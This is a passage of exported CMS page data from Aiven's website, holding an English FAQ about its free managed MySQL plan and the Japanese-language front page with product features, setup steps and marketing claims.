center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"4efbe38457cb","_type":"accordionItem","panelText":[{"_key":"419bb4200581","_type":"block","children":[{"_key":"c3811537df6d0","_type":"span","marks":[],"text":"MySQL® is free as an open-source software, but if you opt for managed services or choose to use it in conjunction with specific platforms, there might be associated costs."}],"markDefs":[],"style":"normal"},{"_key":"e3e6cef8329d","_type":"block","children":[{"_key":"6ce98eaf848e0","_type":"span","marks":[],"text":"Aiven offers free managed MySQL® service and also a "},{"_key":"6ce98eaf848e1","_type":"span","marks":["4e50bf7b3657"],"text":"paid version"},{"_key":"6ce98eaf848e2","_type":"span","marks":[],"text":" with full capabilities, support and features of the Aiven data platform."}],"markDefs":[{"_key":"4e50bf7b3657","_type":"link","href":"https://aiven.io/mysql"}],"style":"normal"}],"title":"Is MySQL® free?"},{"_key":"acec78a09d41","_type":"accordionItem","panelText":[{"_key":"bf7e6b20c556","_type":"block","children":[{"_key":"4088e39c5b760","_type":"span","marks":["29f81970a604"],"text":"Sign up with Aiven"},{"_key":"4088e39c5b761","_type":"span","marks":[],"text":" to deploy your initial PostgreSQL® database is quick and easy through our web UI. No credit card needed."}],"markDefs":[{"_key":"29f81970a604","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"6e7f3c0187e9","_type":"block","children":[{"_key":"4a968bb536970","_type":"span","marks":[],"text":"First, choose your preferred region, then click 'Create Service.' Then connect to your database using provided connection details for popular tools. Lastly secure your connection and load data with available workflows for migrating from an existing database or importing sample data."}],"markDefs":[],"style":"normal"},{"_key":"83279e1cdab2","_type":"block","children":[{"_key":"e84d36c072740","_type":"span","marks":[],"text":"Alternatively, manage your free service using the "},{"_key":"e84d36c072741","_type":"span","marks":["1b217d483453"],"text":"Aiven CLI"},{"_key":"e84d36c072742","_type":"span","marks":[],"text":" or our "},{"_key":"e84d36c072743","_type":"span","marks":["a2c238368ba9"],"text":"Terraform provider."}],"markDefs":[{"_key":"1b217d483453","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"a2c238368ba9","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"How to deploy a free MySQL® database in the cloud?"},{"_key":"78601bc85c82","_type":"accordionItem","panelText":[{"_key":"89baa08be0ee","_type":"block","children":[{"_key":"d7ce056108fe0","_type":"span","marks":[],"text":"While"},{"_key":"d7ce056108fe1","_type":"span","marks":["caf19471d83d"],"text":" free plans come with certain restrictions"},{"_key":"d7ce056108fe2","_type":"span","marks":[],"text":", they are available at no cost indefinitely. If you require additional memory or access to the complete set of features, opting for the free trial might be a more suitable choice."}],"markDefs":[{"_key":"caf19471d83d","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"8f99bf88c786","_type":"block","children":[{"_key":"8a532d00e6c30","_type":"span","marks":[],"text":"Aiven free plans don't have any time constraints. However, free plans will be automatically powered off if they aren't actively used. You will be notified in advance about any free plans that are scheduled to be powered off, via email and notification in the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"ea6f66353a5f","_type":"block","children":[{"_key":"be549b3ac4e10","_type":"span","marks":[],"text":"Aiven also reserves the right to terminate services if they are deemed to violate the "},{"_key":"0b2b83290d5b1","_type":"span","marks":["97a23d52b20a"],"text":"acceptable use policy"},{"_key":"3bd331c73e37","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"97a23d52b20a","_type":"link","href":"https://aiven.io/terms"}],"style":"normal"},{"_key":"0afbc04c6bd4","_type":"block","children":[{"_key":"c8683704a04e0","_type":"span","marks":["03a50a7b7139"],"text":"See the detailed list of features and limitations here"}],"markDefs":[{"_key":"03a50a7b7139","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan#free-plan-features-and-limitations"}],"style":"normal"}],"title":"What limitations does Aiven's free MySQL® plan have?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"FAQ"},{"_key":"42b462fe059f","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"08f604306f28","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/developer-workshops","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_type":"reference"}},"subtitle":[{"_key":"6622b2f73d11","_type":"block","children":[{"_key":"72069ecdd8350","_type":"span","marks":[],"text":"Learn online how to store, stream, or process your data with our developer advocates in these free workshops."}],"markDefs":[],"style":"normal"}],"title":"Upgrade your skills with online developer workshops","variant":"default"},{"_key":"f5a14359c973","_ref":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_type":"devArticle"},{"_key":"20c0e886d237","_ref":"52ddc983-a14f-46fb-ac5c-c6096dbb0547","_type":"devArticle"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"You might be interested in"}],"infoBanner":{"_ref":"8cf966f6-1027-4df1-9ff1-26078db32eff","_type":"reference"},"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"Looking for a free MySQL database? Enjoy premium capabilities such as daily backups, Terraform integration and more with Aiven’s managed MySQL service.","metaImage":{"_type":"mainImage","alt":"Free Aiven for MySQL database","asset":{"_ref":"image-a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4-1200x630-jpg","_type":"reference"}},"metaTitle":"Set up hosted MySQL database for FREE"},"slug":{"_type":"slug","current":"/free-mysql-database"},"title":"Free MySQL Database"} {"__i18n_base":{"_ref":"frontpage","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-04-04T02:41:12Z","_id":"frontpage__i18n_ja","_rev":"jvX45fVrMTONcXvY1qyRac","_type":"page","_updatedAt":"2024-10-10T13:09:42Z","content":[{"_key":"29991a9b8848","_type":"hero","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"62cfad9dd051","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"e44569b14aa3","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"4bcdb59b9d5a","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"image":{"_type":"mainImage","alt":"Laptop with Aiven create services on screen","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imageSize":"large","primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"},"title":"お問合せ"},"title":"信頼されたオープンソースのデータプラットフォーム","variant":"default"},{"_key":"ece406ce18f0","_type":"logoList","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"6c276d512196","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"9a607b9237c9","_ref":"59yXqJZsa9ReYDevSgZICT","_type":"reference"},{"_key":"b9397e7d286a","_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},{"_key":"b8e29a2b6d78","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"d3e4469ae5cc","_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"ケーススタディを読む"},"roundedCorners":"rounded-b","title":"世界の業界リーダーからの信頼を獲得しています","variant":"logo"},{"_key":"7609b3fc2fa6","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":true,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"b86e739ff9a9","_type":"numberItem","description":[{"_key":"ec669ac71156","_type":"block","children":[{"_key":"83a41aca26930","_type":"span","marks":[],"text":"主要なクラウド\nプロバイダー"}],"markDefs":[],"style":"normal"}],"number":"5"},{"_key":"e5a16514d611","_type":"numberItem","description":[{"_key":"4faf4ddfecb9","_type":"block","children":[{"_key":"7d55b3851bc90","_type":"span","marks":[],"text":"オープンソース\nサービス"}],"markDefs":[],"style":"normal"}],"number":"11"},{"_key":"afced556caca","_type":"numberItem","description":[{"_key":"da530b7eb78a","_type":"block","children":[{"_key":"3393dcff3ebd0","_type":"span","marks":[],"text":"最短10分で\n設定完了"}],"markDefs":[],"style":"normal"}],"number":"10"}],"rounded":false,"subtitle":[{"_key":"9c5f0c664b3c","_type":"block","children":[{"_key":"7489ba89b84e0","_type":"span","marks":[],"text":"Aiven はオープンソースサービスと主要パブリッククラウドをひとつの直観的なプラットフォームにまとめ、クラウドデータインフラストラクチャーとして、開発者の時間の節約や事業のコスト削減を実現します。"}],"markDefs":[],"style":"normal"}],"title":"多くのグローバル企業もAivenをビジネスに活用しています"},{"_key":"3694152d7c70","_type":"serviceList","compliance":[{"_key":"055e1dc5bd97","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001"},{"_key":"1b05cde30386","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"5b67f74562e3","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"fcec2d026bef","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"e82d86e5196f","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":false,"hostProviders":[{"_key":"14c8ad05ec9c","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"dde5ce759024","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"de65961f51ab","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"identity":[{"_key":"5f462bf86fa1","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-bfecfc8de4d85a1158a972c01b27b11bbd524dd7-512x512-png","_type":"reference"}},"title":"SAML"},{"_key":"2e5154ddeb54","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"ce69d19445cc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"696e3433714a","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"}],"integrations":[{"_key":"ba9c2fac9e96","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"3758795b3116","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"946abc26b420","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"f9b669e235aa","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"f6d4b61ce11c","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"55e0e4000d07","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"a3ed56591000","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"f885f591ac45","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"d805ea528156","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"f015fb51404e","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"42d29c60581c","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"a2b538e81ffb","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"0883c0617fda","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"6f26efe90a66","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"12a1bdcb9fe1","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"24時間365日のエンタープライズサポートオプション"},{"_key":"531afa87e5c4","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99.99%アップタイム"},{"_key":"0fd536a5c2b8","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"高可用性"},{"_key":"4242d3ed5ade","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"5 つ以上のクラウドと 100 以上のリージョン"},{"_key":"cb0b6bbe6ef7","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"自動バックアップ"}],"rounded":false,"securityNetwork":[{"_key":"bddcb32d55d3","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"転送中および保管中のデータの暗号化"},{"_key":"fc8c600b4fc0","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"専用の仮想マシン"},{"_key":"a973b5f8c6c8","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"自動セキュリティアップデート"},{"_key":"122ea2053f30","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPCピアリング"},{"_key":"5399ab334953","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"6bb0528b6582","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"12a2cdb8462e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"fc47614338f1","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"3afd216a4922","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"567cfb028bcf","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"82ca6a1399d8","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"6b60f4a190adeb3291e623c44e6256a4","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"30efce9f5010","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"95face22264f","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"fd46a2b9347b","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"01137a625dfc","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"ff338b9670ad","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[{"_key":"b4d27c076c6d","_type":"block","children":[{"_key":"59d4e13f0d490","_type":"span","marks":[],"text":"11種類のデータ基盤をご希望のクラウド上に、最適なツールでデプロイ可能。"}],"markDefs":[{"_key":"daee2a99d5fe","_type":"link","href":"https://aiven.io/ja/platform"},{"_key":"daee2a99d5fe","_type":"link","href":"https://aiven.io/ja/platform"}],"style":"normal"},{"_key":"080a2f5fee68","_type":"block","children":[{"_key":"98eae24faf56","_type":"span","marks":["daee2a99d5fe"],"text":"Aivenプラットフォームの詳細はこちら。"}],"markDefs":[{"_key":"daee2a99d5fe","_type":"link","href":"https://aiven.io/ja/platform"},{"_key":"daee2a99d5fe","_type":"link","href":"https://aiven.io/ja/platform"}],"style":"normal"}],"title":"データ基盤に必要なものはすべて揃っています","tools":[{"_key":"076e743b8129","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"d50e35a0fd53","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"3930611f24cd","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"6e366189edfe","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"17c58a8618aa","_type":"textVideo","disabled":false,"noSpaceBottom":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"text":[{"_key":"f5d64240d187","_type":"block","children":[{"_key":"6bae411f8a8b0","_type":"span","marks":[],"text":"サインアップ - クレジットカードの登録は不要です"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c018a870dbed","_type":"block","children":[{"_key":"eefe4bfd46d20","_type":"span","marks":[],"text":"希望のサービスと、デプロイするクラウド/リージョンを選択します"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2934f57e440c","_type":"block","children":[{"_key":"7422cd65516d0","_type":"span","marks":[],"text":"プランの選択 - $300分の無料枠が進呈されます"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8079152ec95b","_type":"block","children":[{"_key":"7c66942213dc0","_type":"span","marks":[],"text":"[Create a new service]から環境設定に進みましょう"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"わずか10分でサービスの設定が完了","variant":"mediaRight","ytId":"KE3_X8iszos"},{"_key":"39989e0642d8","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"dbb2747e9bee","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c66a46ba7906","_type":"block","children":[{"_key":"23843e570b340","_type":"span","marks":[],"text":"主要クラウドプロバイダーと地域の豊富な選択肢マルチクラウドに完全対応"}],"markDefs":[],"style":"normal"}],"title":"マルチクラウド"},{"_key":"3fa75783c06d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2f293bd89786","_type":"block","children":[{"_key":"04de53b4ecf90","_type":"span","marks":[],"text":"DevOps キーツール (モニタリング、ロギング、Terraform など) と統合、高いフレキシビリティを実現"}],"markDefs":[],"style":"normal"}],"title":"統合"},{"_key":"495879bcc3f5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d626fe534959","_type":"block","children":[{"_key":"14f0027d59aa0","_type":"span","marks":[],"text":"オープンソース機能セットの一部として高可用性を実現 – EDAアプリケーションにも理想的です。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム"},{"_key":"aa5e6d06155f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"bb3ff9f93014","_type":"block","children":[{"_key":"d6980b375c100","_type":"span","marks":[],"text":"サーバーやストレージの拡張、異なるプロバイダーへの移行をボタンひとつで行えます。ダウンタイムはありません"}],"markDefs":[],"style":"normal"}],"title":"無制限のスケーラビリティ"},{"_key":"ce00fbc080b7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"cb6e4852f365","_type":"block","children":[{"_key":"1a78f12322ba0","_type":"span","marks":[],"text":"専門性の高いエキスパートによるサポート。24 時間365日アクセス可能です。"}],"markDefs":[],"style":"normal"}],"title":"トップレベルのサポート"},{"_key":"42ae75f43dfe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fd2030afe5fd","_type":"block","children":[{"_key":"3902019a8de80","_type":"span","marks":[],"text":"エンドツーエンド暗号化、専用仮想マシン、フルコンプライアンス認証"}],"markDefs":[],"style":"normal"}],"title":"ビルトインセキュリティ"}],"itemsPerRow":3,"roundedCorners":"rounded-tr-bl","title":"開発を快適にするパワフルなサービス"},{"_key":"fe78ef81a22289f99a8cf5d8c224f9a2","_type":"textImage","backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-75e62665661bf806afa29388e1db8ad0c803d449-800x789-png","_type":"reference"}},"narrowImage":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"roundedCorners":"rounded-t","tagline":"開発者向け","text":[{"_key":"9ce311bdda5c","_type":"block","children":[{"_key":"3dc8983cbb080","_type":"span","marks":[],"text":"お好みのオープンソースをいくつでも取り込み、ニーズに応じたインテグレーションを実行できます。Aiven Console 、KubernetesまたはTerraformを使って、自由自在に作業しましょう。"}],"markDefs":[],"style":"normal"},{"_key":"dafbfa6b0153","_type":"block","children":[{"_key":"54ced727fe0e0","_type":"span","marks":[],"text":"45のマネージドPostgreSQLエクステンション"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56eb365a945e","_type":"block","children":[{"_key":"aca2e7a4155a0","_type":"span","marks":[],"text":"12のソースと19のシンク - Apache Kafkaコネクタ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7cbeae92ed7","_type":"block","children":[{"_key":"09be15816f9d0","_type":"span","marks":[],"text":"OpenSearchプラグインとダッシュボード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3fa04b1c20c3","_type":"block","children":[{"_key":"ac2ac50c240b0","_type":"span","marks":[],"text":"CLIを使ってツールのスクリプトを作成可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"36cb1f41fc00","_type":"block","children":[{"_key":"b13d9eef97c30","_type":"span","marks":[],"text":"メトリクス、ログ、監視"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"開発者による、開発者のための設計","variant":"mediaLeft"},{"_key":"6e0cf0589a77","_type":"textImage","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba2c3278c34b5e059c22353862bc199728a2ab04-800x717-png","_type":"reference"}},"narrowImage":false,"primaryCTA":{"_type":"link","title":"IDCホワイトペーパーをダウンロード"},"roundedCorners":"rounded-b","tagline":"ビジネス向け","text":[{"_key":"d5dd4d30e22c","_type":"block","children":[{"_key":"5e115fbe73940","_type":"span","marks":[],"text":"「set-it-and-forget it (一度設定したら後はそのまま)」精神を実践するAivenのサービス は、企業の競争力を高め、コストを節約しながら、最大のポテンシャルを引き出します。"}],"markDefs":[],"style":"normal"},{"_key":"334734ffba7d","_type":"block","children":[{"_key":"47811b2770c00","_type":"span","marks":[],"text":"透明性の高い価格設定によりコストを37%削減"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"788ad3309f5c","_type":"block","children":[{"_key":"407dd42873350","_type":"span","marks":[],"text":"3年間のROIは340%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f822c3d1169","_type":"block","children":[{"_key":"86af33bcf5f60","_type":"span","marks":[],"text":"99.99%のアップタイムSLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d1d8d9d99ff9","_type":"block","children":[{"_key":"8fd96de2af9f0","_type":"span","marks":[],"text":"完全なコンプライアンス認証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"097ff65356f7","_type":"block","children":[{"_key":"f9a906eededd0","_type":"span","marks":[],"text":"48%の効率アップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"データインフラストラクチャで 収益をアップ","variant":"mediaRight"},{"_key":"d89a5b8fb203","_type":"iframe","addSpaceBottom":true,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","disabled":false,"fullWidth":true,"iframeHeight":680,"iframeSource":"https://go.aiven.io/l/890043/2022-05-02/8qvwp","iframeTitle":"JA IDC whitepaper","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"download","rounded":false,"subtitle":[{"_key":"69ff0f5eb3c5","_type":"block","children":[{"_key":"cc9d241002610","_type":"span","marks":[],"text":"IDCホワイトペーパーをダウンロードし、Aivenソリューションの真の価値についてご確認ください。チーム効率を48%向上し、真のビジネス成果につながるような高価値のアクティビティにメンバーが集中できるよう支援するAivenのストラテジーに関してもご説明しています。"}],"markDefs":[],"style":"normal"}],"title":"IDCホワイトペーパー:Aivenデータクラウドソリューションのビジネスバリュー"},{"_key":"c9bbc15e3f02","_type":"testimonial","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"ケーススタディを読む"},"darkTheme":false,"disabled":false,"fullWidth":true,"isHideItemLink":true,"items":[{"_key":"0d716b17cc81","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_ja","_type":"reference"},{"_key":"d70f14e7a509","_ref":"3HA9EJzwGAqwgMzmABCVjS__i18n_ja","_type":"reference"},{"_key":"dd3955de91a3","_ref":"LUQA3Da37Nwm4sXBuCTQe__i18n_ja","_type":"reference"}],"subtitle":[{"_key":"6bd5a7390407","_type":"block","children":[{"_key":"1c31cd9ca6610","_type":"span","marks":[],"text":"私たちが提供するシームレスな柔軟性とシンプルな仕組みは、世界中の顧客に利用されています。"}],"markDefs":[],"style":"normal"}],"title":"Aivenが支持される理由","variant":"logo"},{"_key":"954515c8a4ff","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-05124ac7458446aab02056313fc4f2c70d388d17-950x950-png","_type":"reference"}},"narrowImage":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"募集中のポジションを見る 